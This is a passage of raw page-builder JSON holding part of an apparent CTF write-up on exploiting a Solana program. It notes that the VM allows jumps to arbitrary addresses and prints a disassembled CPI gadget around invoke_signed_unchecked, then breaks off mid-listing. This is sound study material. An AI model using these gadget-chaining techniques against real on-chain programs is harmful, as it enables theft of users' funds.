LR\n",{"type":21,"tag":153,"props":3690,"children":3691},{"class":155,"line":166},[3692],{"type":21,"tag":153,"props":3693,"children":3694},{},[3695],{"type":26,"value":3696},"    A[0: entrypoint] --> B[1: process_instruction]\n",{"type":21,"tag":153,"props":3698,"children":3699},{"class":155,"line":225},[3700],{"type":21,"tag":153,"props":3701,"children":3702},{},[3703],{"type":26,"value":3704},"    B --> C[2: process]\n",{"type":21,"tag":153,"props":3706,"children":3707},{"class":155,"line":239},[3708],{"type":21,"tag":153,"props":3709,"children":3710},{},[3711],{"type":26,"value":3712},"    C --> D[3: gadget1]\n",{"type":21,"tag":153,"props":3714,"children":3715},{"class":155,"line":382},[3716],{"type":21,"tag":153,"props":3717,"children":3718},{},[3719],{"type":26,"value":3720},"    C --> E[3: process]\n",{"type":21,"tag":153,"props":3722,"children":3723},{"class":155,"line":501},[3724],{"type":21,"tag":153,"props":3725,"children":3726},{},[3727],{"type":26,"value":3728},"    E --> F[4: gadget2]\n",{"type":21,"tag":153,"props":3730,"children":3731},{"class":155,"line":533},[3732],{"type":21,"tag":153,"props":3733,"children":3734},{},[3735],{"type":26,"value":3736},"    E --> G[...]\n",{"type":21,"tag":22,"props":3738,"children":3739},{},[3740],{"type":26,"value":3741},"What are those gadgets? The Solana VM does not enforce that the target of a jump is a valid one, meaning that it's possible to jump to arbitrary addresses!",{"type":21,"tag":22,"props":3743,"children":3744},{},[3745,3747,3753],{"type":26,"value":3746},"To mimic the execution of our solution, we need a gadget that lets us CPI into system_program, with parameters we control. How do we obtain those? We can use ",{"type":21,"tag":29,"props":3748,"children":3750},{"href":55,"rel":3749},[33],[3751],{"type":26,"value":3752},"Binary Ninja",{"type":26,"value":3754}," to find a suitable gadget for this.",{"type":21,"tag":22,"props":3756,"children":3757},{},[3758,3760,3767],{"type":26,"value":3759},"Before throwing the on-chain program to binja, it's useful to find a way to get symbols for it. One solution is to patch the cargo-build-sbf command to ",{"type":21,"tag":29,"props":3761,"children":3764},{"href":3762,"rel":3763},"https://github.com/solana-labs/solana/blob/4ee5078e5ffdfff36d3f7920217788e2892c1a85/sdk/cargo-build-sbf/src/main.rs#L789",[33],[3765],{"type":26,"value":3766},"skip the strip pass",{"type":26,"value":355},{"type":21,"tag":114,"props":3769,"children":3771},{"id":3770},"cpi-gadget",[3772],{"type":26,"value":3773},"CPI Gadget",{"type":21,"tag":22,"props":3775,"children":3776},{},[3777,3779,3785,3787,3794,3796,3802],{"type":26,"value":3778},"Looking at the program source, one idea is to look for the cpi gadget around the ",{"type":21,"tag":78,"props":3780,"children":3782},{"className":3781},[],[3783],{"type":26,"value":3784},"call",{"type":26,"value":3786}," function. This function calls into the solana sdk's function ",{"type":21,"tag":29,"props":3788,"children":3791},{"href":3789,"rel":3790},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L295-L310",[33],[3792],{"type":26,"value":3793},"invoke_signed_unchecked",{"type":26,"value":3795},", yielding a powerful gadget at the address ",{"type":21,"tag":78,"props":3797,"children":3799},{"className":3798},[],[3800],{"type":26,"value":3801},"0x100001ba8",{"type":26,"value":355},{"type":21,"tag":143,"props":3804,"children":3806},{"className":145,"code":3805,"language":147,"meta":7,"style":7},"solana_program::program::invoke_signed_unchecked\n100001ba8  79a278ff00000000   ldxdw r2, [r10-136] {var_88}\n100001bb0  79a380ff00000000   ldxdw r3, [r10-128] {var_80}\n100001bb8  79a468ff00000000   ldxdw r4, [r10-152] {var_98}\n100001bc0  79a570ff00000000   ldxdw r5, [r10-144] {var_90}\n100001bc8  8520000020100000   call sol_invoke_signed_rust\n100001bd0  5500040000000000   jne \u003C+4> r0, 0x0\n\n100001bd8  b701000018000000   mov r1, 0x18\n100001be0  79a288ff00000000   ldxdw r2, [r10-120] {var_78}\n100001be8  6312000000000000   stxw [r2-0], r1  {0x18}\n100001bf0  0500030000000000   ja \u003C+3>\n\n100001bf8  79a188ff00000000   ldxdw r1, [r10-120] {var_78}\n100001c00  bf02000000000000   mov r2, r0\n100001c08  8510000075000000   call _ZN94_$LT$solana_program...$u64$GT$$GT$4from17ha0d289b72861b06dE\n\n100001c10  79a2b8ff00000000   ldxdw r2, [r10-72] {var_48}\n100001c18  1502040000000000   jeq \u003C+4> r2, 0x0\n\n100001c20  2702000022000000   mul r2, 0x22\n100001c28  79a1b0ff00000000   ldxdw r1, [r10-80] {var_50}\n100001c30  b703000001000000   mov r3, 0x1\n100001c38  8510000003feffff   call __rust_dealloc\n\n100001c40  79a2d0ff00000000   ldxdw r2, [r10-48] {var_30}\n100001c48  1502030000000000   jeq \u003C+3> r2, 0x0\n\n100001c50  79a1c8ff00000000   ldxdw r1, [r10-56] {var_38}\n100001c58  b703000001000000   mov r3, 0x1\n100001c60  85100000fefdffff   call __rust_dealloc\n\n100001c68  9500000000000000   exit {__return_addr}\n",[3807],{"type":21,"tag":78,"props":3808,"children":3809},{"__ignoreMap":7},[3810,3836,3893,3945,3997,4049,4072,4124,4131,4163,4214,4273,4309,4316,4365,4395,4471,4478,4529,4575,4582,4613,4664,4694,4716,4723,4774,4819,4826,4877,4905,4926,4933],{"type":21,"tag":153,"props":3811,"children":3812},{"class":155,"line":156},[3813,3818,3822,3827,3831],{"type":21,"tag":153,"props":3814,"children":3815},{"style":160},[3816],{"type":26,"value":3817},"solana_program",{"type":21,"tag":153,"props":3819,"children":3820},{"style":198},[3821],{"type":26,"value":265},{"type":21,"tag":153,"props":3823,"children":3824},{"style":160},[3825],{"type":26,"value":3826},"program",{"type":21,"tag":153,"props":3828,"children":3829},{"style":198},[3830],{"type":26,"value":265},{"type":21,"tag":153,"props":3832,"children":3833},{"style":192},[3834],{"type":26,"value":3835},"invoke_signed_unchecked\n",{"type":21,"tag":153,"props":3837,"children":3838},{"class":155,"line":166},[3839,3844,3849,3854,3859,3864,3869,3874,3879,3884,3889],{"type":21,"tag":153,"props":3840,"children":3841},{"style":192},[3842],{"type":26,"value":3843},"100001ba8",{"type":21,"tag":153,"props":3845,"children":3846},{"style":192},[3847],{"type":26,"value":3848},"  79a278ff00000000",{"type":21,"tag":153,"props":3850,"children":3851},{"style":192},[3852],{"type":26,"value":3853},"   ldxdw",{"type":21,"tag":153,"props":3855,"children":3856},{"style":192},[3857],{"type":26,"value":3858}," r2",{"type":21,"tag":153,"props":3860,"children":3861},{"style":160},[3862],{"type":26,"value":3863},", [",{"type":21,"tag":153,"props":3865,"children":3866},{"style":192},[3867],{"type":26,"value":3868},"r10",{"type":21,"tag":153,"props":3870,"children":3871},{"style":198},[3872],{"type":26,"value":3873},"-",{"type":21,"tag":153,"props":3875,"children":3876},{"style":300},[3877],{"type":26,"value":3878},"136",{"type":21,"tag":153,"props":3880,"children":3881},{"style":160},[3882],{"type":26,"value":3883},"] {",{"type":21,"tag":153,"props":3885,"children":3886},{"style":192},[3887],{"type":26,"value":3888},"var_88",{"type":21,"tag":153,"props":3890,"children":3891},{"style":160},[3892],{"type":26,"value":548},{"type":21,"tag":153,"props":3894,"children":3895},{"class":155,"line":225},[3896,3901,3906,3910,3915,3919,3923,3927,3932,3936,3941],{"type":21,"tag":153,"props":3897,"children":3898},{"style":192},[3899],{"type":26,"value":3900},"100001bb0",{"type":21,"tag":153,"props":3902,"children":3903},{"style":192},[3904],{"type":26,"value":3905},"  79a380ff00000000",{"type":21,"tag":153,"props":3907,"children":3908},{"style":192},[3909],{"type":26,"value":3853},{"type":21,"tag":153,"props":3911,"children":3912},{"style":192},[3913],{"type":26,"value":3914}," r3",{"type":21,"tag":153,"props":3916,"children":3917},{"style":160},[3918],{"type":26,"value":3863},{"type":21,"tag":153,"props":3920,"children":3921},{"style":192},[3922],{"type":26,"value":3868},{"type":21,"tag":153,"props":3924,"children":3925},{"style":198},[3926],{"type":26,"value":3873},{"type":21,"tag":153,"props":3928,"children":3929},{"style":300},[3930],{"type":26,"value":3931},"128",{"type":21,"tag":153,"props":3933,"children":3934},{"style":160},[3935],{"type":26,"value":3883},{"type":21,"tag":153,"props":3937,"children":3938},{"style":192},[3939],{"type":26,"value":3940},"var_80",{"type":21,"tag":153,"props":3942,"children":3943},{"style":160},[3944],{"type":26,"value":548},{"type":21,"tag":153,"props":3946,"children":3947},{"class":155,"line":239},[3948,3953,3958,3962,3967,3971,3975,3979,3984,3988,3993],{"type":21,"tag":153,"props":3949,"children":3950},{"style":192},[3951],{"type":26,"value":3952},"100001bb8",{"type":21,"tag":153,"props":3954,"children":3955},{"style":192},[3956],{"type":26,"value":3957},"  79a468ff00000000",{"type":21,"tag":153,"props":3959,"children":3960},{"style":192},[3961],{"type":26,"value":3853},{"type":21,"tag":153,"props":3963,"children":3964},{"style":192},[3965],{"type":26,"value":3966}," r4",{"type":21,"tag":153,"props":3968,"children":3969},{"style":160},[3970],{"type":26,"value":3863},{"type":21,"tag":153,"props":3972,"children":3973},{"style":192},[3974],{"type":26,"value":3868},{"type":21,"tag":153,"props":3976,"children":3977},{"style":198},[3978],{"type":26,"value":3873},{"type":21,"tag":153,"props":3980,"children":3981},{"style":300},[3982],{"type":26,"value":3983},"152",{"type":21,"tag":153,"props":3985,"children":3986},{"style":160},[3987],{"type":26,"value":3883},{"type":21,"tag":153,"props":3989,"children":3990},{"style":192},[3991],{"type":26,"value":3992},"var_98",{"type":21,"tag":153,"props":3994,"children":3995},{"style":160},[3996],{"type":26,"value":548},{"type":21,"tag":153,"props":3998,"children":3999},{"class":155,"line":382},[4000,4005,4010,4014,4019,4023,4027,4031,4036,4040,4045],{"type":21,"tag":153,"props":4001,"children":4002},{"style":192},[4003],{"type":26,"value":4004},"100001bc0",{"type":21,"tag":153,"props":4006,"children":4007},{"style":192},[4008],{"type":26,"value":4009},"  79a570ff00000000",{"type":21,"tag":153,"props":4011,"children":4012},{"style":192},[4013],{"type":26,"value":3853},{"type":21,"tag":153,"props":4015,"children":4016},{"style":192},[4017],{"type":26,"value":4018}," r5",{"type":21,"tag":153,"props":4020,"children":4021},{"style":160},[4022],{"type":26,"value":3863},{"type":21,"tag":153,"props":4024,"children":4025},{"style":192},[4026],{"type":26,"value":3868},{"type":21,"tag":153,"props":4028,"children":4029},{"style":198},[4030],{"type":26,"value":3873},{"type":21,"tag":153,"props":4032,"children":4033},{"style":300},[4034],{"type":26,"value":4035},"144",{"type":21,"tag":153,"props":4037,"children":4038},{"style":160},[4039],{"type":26,"value":3883},{"type":21,"tag":153,"props":4041,"children":4042},{"style":192},[4043],{"type":26,"value":4044},"var_90",{"type":21,"tag":153,"props":4046,"children":4047},{"style":160},[4048],{"type":26,"value":548},{"type":21,"tag":153,"props":4050,"children":4051},{"class":155,"line":501},[4052,4057,4062,4067],{"type":21,"tag":153,"props":4053,"children":4054},{"style":192},[4055],{"type":26,"value":4056},"100001bc8",{"type":21,"tag":153,"props":4058,"children":4059},{"style":300},[4060],{"type":26,"value":4061},"  8520000020100000",{"type":21,"tag":153,"props":4063,"children":4064},{"style":192},[4065],{"type":26,"value":4066},"   call",{"type":21,"tag":153,"props":4068,"children":4069},{"style":192},[4070],{"type":26,"value":4071}," sol_invoke_signed_rust\n",{"type":21,"tag":153,"props":4073,"children":4074},{"class":155,"line":533},[4075,4080,4085,4090,4095,4100,4105,4110,4115,4119],{"type":21,"tag":153,"props":4076,"children":4077},{"style":192},[4078],{"type":26,"value":4079},"100001bd0",{"type":21,"tag":153,"props":4081,"children":4082},{"style":300},[4083],{"type":26,"value":4084},"  5500040000000000",{"type":21,"tag":153,"props":4086,"children":4087},{"style":192},[4088],{"type":26,"value":4089},"   jne",{"type":21,"tag":153,"props":4091,"children":4092},{"style":160},[4093],{"type":26,"value":4094}," \u003C",{"type":21,"tag":153,"props":4096,"children":4097},{"style":198},[4098],{"type":26,"value":4099},"+",{"type":21,"tag":153,"props":4101,"children":4102},{"style":300},[4103],{"type":26,"value":4104},"4",{"type":21,"tag":153,"props":4106,"children":4107},{"style":160},[4108],{"type":26,"value":4109},"> ",{"type":21,"tag":153,"props":4111,"children":4112},{"style":192},[4113],{"type":26,"value":4114},"r0",{"type":21,"tag":153,"props":4116,"children":4117},{"style":160},[4118],{"type":26,"value":1670},{"type":21,"tag":153,"props":4120,"children":4121},{"style":300},[4122],{"type":26,"value":4123},"0x0\n",{"type":21,"tag":153,"props":4125,"children":4126},{"class":155,"line":542},[4127],{"type":21,"tag":153,"props":4128,"children":4129},{"emptyLinePlaceholder":16},[4130],{"type":26,"value":759},{"type":21,"tag":153,"props":4132,"children":4133},{"class":155,"line":762},[4134,4139,4144,4149,4154,4158],{"type":21,"tag":153,"props":4135,"children":4136},{"style":192},[4137],{"type":26,"value":4138},"100001bd8",{"type":21,"tag":153,"props":4140,"children":4141},{"style":192},[4142],{"type":26,"value":4143},"  b701000018000000",{"type":21,"tag":153,"props":4145,"children":4146},{"style":192},[4147],{"type":26,"value":4148},"   mov",{"type":21,"tag":153,"props":4150,"children":4151},{"style":192},[4152],{"type":26,"value":4153}," r1",{"type":21,"tag":153,"props":4155,"children":4156},{"style":160},[4157],{"type":26,"value":1670},{"type":21,"tag":153,"props":4159,"children":4160},{"style":300},[4161],{"type":26,"value":4162},"0x18\n",{"type":21,"tag":153,"props":4164,"children":4165},{"class":155,"line":776},[4166,4171,4176,4180,4184,4188,4192,4196,4201,4205,4210],{"type":21,"tag":153,"props":4167,"children":4168},{"style":192},[4169],{"type":26,"value":4170},"100001be0",{"type":21,"tag":153,"props":4172,"children":4173},{"style":192},[4174],{"type":26,"value":4175},"  79a288ff00000000",{"type":21,"tag":153,"props":4177,"children":4178},{"style":192},[4179],{"type":26,"value":3853},{"type":21,"tag":153,"props":4181,"children":4182},{"style":192},[4183],{"type":26,"value":3858},{"type":21,"tag":153,"props":4185,"children":4186},{"style":160},[4187],{"type":26,"value":3863},{"type":21,"tag":153,"props":4189,"children":4190},{"style":192},[4191],{"type":26,"value":3868},{"type":21,"tag":153,"props":4193,"children":4194},{"style":198},[4195],{"type":26,"value":3873},{"type":21,"tag":153,"props":4197,"children":4198},{"style":300},[4199],{"type":26,"value":4200},"120",{"type":21,"tag":153,"props":4202,"children":4203},{"style":160},[4204],{"type":26,"value":3883},{"type":21,"tag":153,"props":4206,"children":4207},{"style":192},[4208],{"type":26,"value":4209},"var_78",{"type":21,"tag":153,"props":4211,"children":4212},{"style":160},[4213],{"type":26,"value":548},{"type":21,"tag":153,"props":4215,"children":4216},{"class":155,"line":795},[4217,4222,4227,4232,4237,4242,4246,4250,4254,4259,4264,4269],{"type":21,"tag":153,"props":4218,"children":4219},{"style":192},[4220],{"type":26,"value":4221},"100001be8",{"type":21,"tag":153,"props":4223,"children":4224},{"style":300},[4225],{"type":26,"value":4226},"  6312000000000000",{"type":21,"tag":153,"props":4228,"children":4229},{"style":192},[4230],{"type":26,"value":4231},"   stxw",{"type":21,"tag":153,"props":4233,"children":4234},{"style":160},[4235],{"type":26,"value":4236}," [",{"type":21,"tag":153,"props":4238,"children":4239},{"style":192},[4240],{"type":26,"value":4241},"r2",{"type":21,"tag":153,"props":4243,"children":4244},{"style":198},[4245],{"type":26,"value":3873},{"type":21,"tag":153,"props":4247,"children":4248},{"style":300},[4249],{"type":26,"value":2996},{"type":21,"tag":153,"props":4251,"children":4252},{"style":160},[4253],{"type":26,"value":308},{"type":21,"tag":153,"props":4255,"children":4256},{"style":192},[4257],{"type":26,"value":4258},"r1",{"type":21,"tag":153,"props":4260,"children":4261},{"style":160},[4262],{"type":26,"value":4263},"  {",{"type":21,"tag":153,"props":4265,"children":4266},{"style":300},[4267],{"type":26,"value":4268},"0x18",{"type":21,"tag":153,"props":4270,"children":4271},{"style":160},[4272],{"type":26,"value":548},{"type":21,"tag":153,"props":4274,"children":4275},{"class":155,"line":808},[4276,4281,4286,4291,4295,4299,4304],{"type":21,"tag":153,"props":4277,"children":4278},{"style":192},[4279],{"type":26,"value":4280},"100001bf0",{"type":21,"tag":153,"props":4282,"children":4283},{"style":300},[4284],{"type":26,"value":4285},"  0500030000000000",{"type":21,"tag":153,"props":4287,"children":4288},{"style":192},[4289],{"type":26,"value":4290},"   ja",{"type":21,"tag":153,"props":4292,"children":4293},{"style":160},[4294],{"type":26,"value":4094},{"type":21,"tag":153,"props":4296,"children":4297},{"style":198},[4298],{"type":26,"value":4099},{"type":21,"tag":153,"props":4300,"children":4301},{"style":300},[4302],{"type":26,"value":4303},"3",{"type":21,"tag":153,"props":4305,"children":4306},{"style":160},[4307],{"type":26,"value":4308},">\n",{"type":21,"tag":153,"props":4310,"children":4311},{"class":155,"line":820},[4312],{"type":21,"tag":153,"props":4313,"children":4314},{"emptyLinePlaceholder":16},[4315],{"type":26,"value":759},{"type":21,"tag":153,"props":4317,"children":4318},{"class":155,"line":842},[4319,4324,4329,4333,4337,4341,4345,4349,4353,4357,4361],{"type":21,"tag":153,"props":4320,"children":4321},{"style":192},[4322],{"type":26,"value":4323},"100001bf8",{"type":21,"tag":153,"props":4325,"children":4326},{"style":192},[4327],{"type":26,"value":4328},"  79a188ff00000000",{"type":21,"tag":153,"props":4330,"children":4331},{"style":192},[4332],{"type":26,"value":3853},{"type":21,"tag":153,"props":4334,"children":4335},{"style":192},[4336],{"type":26,"value":4153},{"type":21,"tag":153,"props":4338,"children":4339},{"style":160},[4340],{"type":26,"value":3863},{"type":21,"tag":153,"props":4342,"children":4343},{"style":192},[4344],{"type":26,"value":3868},{"type":21,"tag":153,"props":4346,"children":4347},{"style":198},[4348],{"type":26,"value":3873},{"type":21,"tag":153,"props":4350,"children":4351},{"style":300},[4352],{"type":26,"value":4200},{"type":21,"tag":153,"props":4354,"children":4355},{"style":160},[4356],{"type":26,"value":3883},{"type":21,"tag":153,"props":4358,"children":4359},{"style":192},[4360],{"type":26,"value":4209},{"type":21,"tag":153,"props":4362,"children":4363},{"style":160},[4364],{"type":26,"value":548},{"type":21,"tag":153,"props":4366,"children":4367},{"class":155,"line":3204},[4368,4373,4378,4382,4386,4390],{"type":21,"tag":153,"props":4369,"children":4370},{"style":192},[4371],{"type":26,"value":4372},"100001c00",{"type":21,"tag":153,"props":4374,"children":4375},{"style":192},[4376],{"type":26,"value":4377},"  bf02000000000000",{"type":21,"tag":153,"props":4379,"children":4380},{"style":192},[4381],{"type":26,"value":4148},{"type":21,"tag":153,"props":4383,"children":4384},{"style":192},[4385],{"type":26,"value":3858},{"type":21,"tag":153,"props":4387,"children":4388},{"style":160},[4389],{"type":26,"value":1670},{"type":21,"tag":153,"props":4391,"children":4392},{"style":192},[4393],{"type":26,"value":4394},"r0\n",{"type":21,"tag":153,"props":4396,"children":4397},{"class":155,"line":3230},[4398,4403,4408,4412,4417,4422,4427,4431,4435,4440,4444,4448,4453,4458,4462,4466],{"type":21,"tag":153,"props":4399,"children":4400},{"style":192},[4401],{"type":26,"value":4402},"100001c08",{"type":21,"tag":153,"props":4404,"children":4405},{"style":300},[4406],{"type":26,"value":4407},"  8510000075000000",{"type":21,"tag":153,"props":4409,"children":4410},{"style":192},[4411],{"type":26,"value":4066},{"type":21,"tag":153,"props":4413,"children":4414},{"style":214},[4415],{"type":26,"value":4416}," _ZN94_",{"type":21,"tag":153,"props":4418,"children":4419},{"style":198},[4420],{"type":26,"value":4421},"$",{"type":21,"tag":153,"props":4423,"children":4424},{"style":214},[4425],{"type":26,"value":4426},"LT",{"type":21,"tag":153,"props":4428,"children":4429},{"style":198},[4430],{"type":26,"value":4421},{"type":21,"tag":153,"props":4432,"children":4433},{"style":192},[4434],{"type":26,"value":3817},{"type":21,"tag":153,"props":4436,"children":4437},{"style":198},[4438],{"type":26,"value":4439},"...$",{"type":21,"tag":153,"props":4441,"children":4442},{"style":192},[4443],{"type":26,"value":445},{"type":21,"tag":153,"props":4445,"children":4446},{"style":198},[4447],{"type":26,"value":4421},{"type":21,"tag":153,"props":4449,"children":4450},{"style":214},[4451],{"type":26,"value":4452},"GT",{"type":21,"tag":153,"props":4454,"children":4455},{"style":198},[4456],{"type":26,"value":4457},"$$",{"type":21,"tag":153,"props":4459,"children":4460},{"style":214},[4461],{"type":26,"value":4452},{"type":21,"tag":153,"props":4463,"children":4464},{"style":198},[4465],{"type":26,"value":4421},{"type":21,"tag":153,"props":4467,"children":4468},{"style":160},[4469],{"type":26,"value":4470},"4from17ha0d289b72861b06dE\n",{"type":21,"tag":153,"props":4472,"children":4473},{"class":155,"line":3239},[4474],{"type":21,"tag":153,"props":4475,"children":4476},{"emptyLinePlaceholder":16},[4477],{"type":26,"value":759},{"type":21,"tag":153,"props":4479,"children":4480},{"class":155,"line":3253},[4481,4486,4491,4495,4499,4503,4507,4511,4516,4520,4525],{"type":21,"tag":153,"props":4482,"children":4483},{"style":192},[4484],{"type":26,"value":4485},"100001c10",{"type":21,"tag":153,"props":4487,"children":4488},{"style":192},[4489],{"type":26,"value":4490},"  79a2b8ff00000000",{"type":21,"tag":153,"props":4492,"children":4493},{"style":192},[4494],{"type":26,"value":3853},{"type":21,"tag":153,"props":4496,"children":4497},{"style":192},[4498],{"type":26,"value":3858},{"type":21,"tag":153,"props":4500,"children":4501},{"style":160},[4502],{"type":26,"value":3863},{"type":21,"tag":153,"props":4504,"children":4505},{"style":192},[4506],{"type":26,"value":3868},{"type":21,"tag":153,"props":4508,"children":4509},{"style":198},[4510],{"type":26,"value":3873},{"type":21,"tag":153,"props":4512,"children":4513},{"style":300},[4514],{"type":26,"value":4515},"72",{"type":21,"tag":153,"props":4517,"children":4518},{"style":160},[4519],{"type":26,"value":3883},{"type":21,"tag":153,"props":4521,"children":4522},{"style":192},[4523],{"type":26,"value":4524},"var_48",{"type":21,"tag":153,"props":4526,"children":4527},{"style":160},[4528],{"type":26,"value":548},{"type":21,"tag":153,"props":4530,"children":4531},{"class":155,"line":3301},[4532,4537,4542,4547,4551,4555,4559,4563,4567,4571],{"type":21,"tag":153,"props":4533,"children":4534},{"style":192},[4535],{"type":26,"value":4536},"100001c18",{"type":21,"tag":153,"props":4538,"children":4539},{"style":300},[4540],{"type":26,"value":4541},"  1502040000000000",{"type":21,"tag":153,"props":4543,"children":4544},{"style":192},[4545],{"type":26,"value":4546},"   jeq",{"type":21,"tag":153,"props":4548,"children":4549},{"style":160},[4550],{"type":26,"value":4094},{"type":21,"tag":153,"props":4552,"children":4553},{"style":198},[4554],{"type":26,"value":4099},{"type":21,"tag":153,"props":4556,"children":4557},{"style":300},[4558],{"type":26,"value":4104},{"type":21,"tag":153,"props":4560,"children":4561},{"style":160},[4562],{"type":26,"value":4109},{"type":21,"tag":153,"props":4564,"children":4565},{"style":192},[4566],{"type":26,"value":4241},{"type":21,"tag":153,"props":4568,"children":4569},{"style":160},[4570],{"type":26,"value":1670},{"type":21,"tag":153,"props":4572,"children":4573},{"style":300},[4574],{"type":26,"value":4123},{"type":21,"tag":153,"props":4576,"children":4577},{"class":155,"line":3346},[4578],{"type":21,"tag":153,"props":4579,"children":4580},{"emptyLinePlaceholder":16},[4581],{"type":26,"value":759},{"type":21,"tag":153,"props":4583,"children":4584},{"class":155,"line":3355},[4585,4590,4595,4600,4604,4608],{"type":21,"tag":153,"props":4586,"children":4587},{"style":192},[4588],{"type":26,"value":4589},"100001c20",{"type":21,"tag":153,"props":4591,"children":4592},{"style":300},[4593],{"type":26,"value":4594},"  2702000022000000",{"type":21,"tag":153,"props":4596,"children":4597},{"style":192},[4598],{"type":26,"value":4599},"   mul",{"type":21,"tag":153,"props":4601,"children":4602},{"style":192},[4603],{"type":26,"value":3858},{"type":21,"tag":153,"props":4605,"children":4606},{"style":160},[4607],{"type":26,"value":1670},{"type":21,"tag":153,"props":4609,"children":4610},{"style":300},[4611],{"type":26,"value":4612},"0x22\n",{"type":21,"tag":153,"props":4614,"children":4615},{"class":155,"line":3364},[4616,4621,4626,4630,4634,4638,4642,4646,4651,4655,4660],{"type":21,"tag":153,"props":4617,"children":4618},{"style":192},[4619],{"type":26,"value":4620},"100001c28",{"type":21,"tag":153,"props":4622,"children":4623},{"style":192},[4624],{"type":26,"value":4625},"  79a1b0ff00000000",{"type":21,"tag":153,"props":4627,"children":4628},{"style":192},[4629],{"type":26,"value":3853},{"type":21,"tag":153,"props":4631,"children":4632},{"style":192},[4633],{"type":26,"value":4153},{"type":21,"tag":153,"props":4635,"children":4636},{"style":160},[4637],{"type":26,"value":3863},{"type":21,"tag":153,"props":4639,"children":4640},{"style":192},[4641],{"type":26,"value":3868},{"type":21,"tag":153,"props":4643,"children":4644},{"style":198},[4645],{"type":26,"value":3873},{"type":21,"tag":153,"props":4647,"children":4648},{"style":300},[4649],{"type":26,"value":4650},"80",{"type":21,"tag":153,"props":4652,"children":4653},{"style":160},[4654],{"type":26,"value":3883},{"type":21,"tag":153,"props":4656,"children":4657},{"style":192},[4658],{"type":26,"value":4659},"var_50",{"type":21,"tag":153,"props":4661,"children":4662},{"style":160},[4663],{"type":26,"value":548},{"type":21,"tag":153,"props":4665,"children":4666},{"class":155,"line":3376},[4667,4672,4677,4681,4685,4689],{"type":21,"tag":153,"props":4668,"children":4669},{"style":192},[4670],{"type":26,"value":4671},"100001c30",{"type":21,"tag":153,"props":4673,"children":4674},{"style":192},[4675],{"type":26,"value":4676},"  b703000001000000",{"type":21,"tag":153,"props":4678,"children":4679},{"style":192},[4680],{"type":26,"value":4148},{"type":21,"tag":153,"props":4682,"children":4683},{"style":192},[4684],{"type":26,"value":3914},{"type":21,"tag":153,"props":4686,"children":4687},{"style":160},[4688],{"type":26,"value":1670},{"type":21,"tag":153,"props":4690,"children":4691},{"style":300},[4692],{"type":26,"value":4693},"0x1\n",{"type":21,"tag":153,"props":4695,"children":4696},{"class":155,"line":3393},[4697,4702,4707,4711],{"type":21,"tag":153,"props":4698,"children":4699},{"style":192},[4700],{"type":26,"value":4701},"100001c38",{"type":21,"tag":153,"props":4703,"children":4704},{"style":192},[4705],{"type":26,"value":4706},"  8510000003feffff",{"type":21,"tag":153,"props":4708,"children":4709},{"style":192},[4710],{"type":26,"value":4066},{"type":21,"tag":153,"props":4712,"children":4713},{"style":192},[4714],{"type":26,"value":4715}," __rust_dealloc\n",{"type":21,"tag":153,"props":4717,"children":4718},{"class":155,"line":3405},[4719],{"type":21,"tag":153,"props":4720,"children":4721},{"emptyLinePlaceholder":16},[4722],{"type":26,"value":759},{"type":21,"tag":153,"props":4724,"children":4725},{"class":155,"line":3427},[4726,4731,4736,4740,4744,4748,4752,4756,4761,4765,4770],{"type":21,"tag":153,"props":4727,"children":4728},{"style":192},[4729],{"type":26,"value":4730},"100001c40",{"type":21,"tag":153,"props":4732,"children":4733},{"style":192},[4734],{"type":26,"value":4735},"  79a2d0ff00000000",{"type":21,"tag":153,"props":4737,"children":4738},{"style":192},[4739],{"type":26,"value":3853},{"type":21,"tag":153,"props":4741,"children":4742},{"style":192},[4743],{"type":26,"value":3858},{"type":21,"tag":153,"props":4745,"children":4746},{"style":160},[4747],{"type":26,"value":3863},{"type":21,"tag":153,"props":4749,"children":4750},{"style":192},[4751],{"type":26,"value":3868},{"type":21,"tag":153,"props":4753,"children":4754},{"style":198},[4755],{"type":26,"value":3873},{"type":21,"tag":153,"props":4757,"children":4758},{"style":300},[4759],{"type":26,"value":4760},"48",{"type":21,"tag":153,"props":4762,"children":4763},{"style":160},[4764],{"type":26,"value":3883},{"type":21,"tag":153,"props":4766,"children":4767},{"style":192},[4768],{"type":26,"value":4769},"var_30",{"type":21,"tag":153,"props":4771,"children":4772},{"style":160},[4773],{"type":26,"value":548},{"type":21,"tag":153,"props":4775,"children":4776},{"class":155,"line":3448},[4777,4782,4787,4791,4795,4799,4803,4807,4811,4815],{"type":21,"tag":153,"props":4778,"children":4779},{"style":192},[4780],{"type":26,"value":4781},"100001c48",{"type":21,"tag":153,"props":4783,"children":4784},{"style":300},[4785],{"type":26,"value":4786},"  1502030000000000",{"type":21,"tag":153,"props":4788,"children":4789},{"style":192},[4790],{"type":26,"value":4546},{"type":21,"tag":153,"props":4792,"children":4793},{"style":160},[4794],{"type":26,"value":4094},{"type":21,"tag":153,"props":4796,"children":4797},{"style":198},[4798],{"type":26,"value":4099},{"type":21,"tag":153,"props":4800,"children":4801},{"style":300},[4802],{"type":26,"value":4303},{"type":21,"tag":153,"props":4804,"children":4805},{"style":160},[4806],{"type":26,"value":4109},{"type":21,"tag":153,"props":4808,"children":4809},{"style":192},[4810],{"type":26,"value":4241},{"type":21,"tag":153,"props":4812,"children":4813},{"style":160},[4814],{"type":26,"value":1670},{"type":21,"tag":153,"props":4816,"children":4817},{"style":300},[4818],{"type":26,"value":4123},{"type":21,"tag":153,"props":4820,"children":4821},{"class":155,"line":3456},[4822],{"type":21,"tag":153,"props":4823,"children":4824},{"emptyLinePlaceholder":16},[4825],{"type":26,"value":759},{"type":21,"tag":153,"props":4827,"children":4828},{"class":155,"line":3493},[4829,4834,4839,4843,4847,4851,4855,4859,4864,4868,4873],{"type":21,"tag":153,"props":4830,"children":4831},{"style":192},[4832],{"type":26,"value":4833},"100001c50",{"type":21,"tag":153,"props":4835,"children":4836},{"style":192},[4837],{"type":26,"value":4838},"  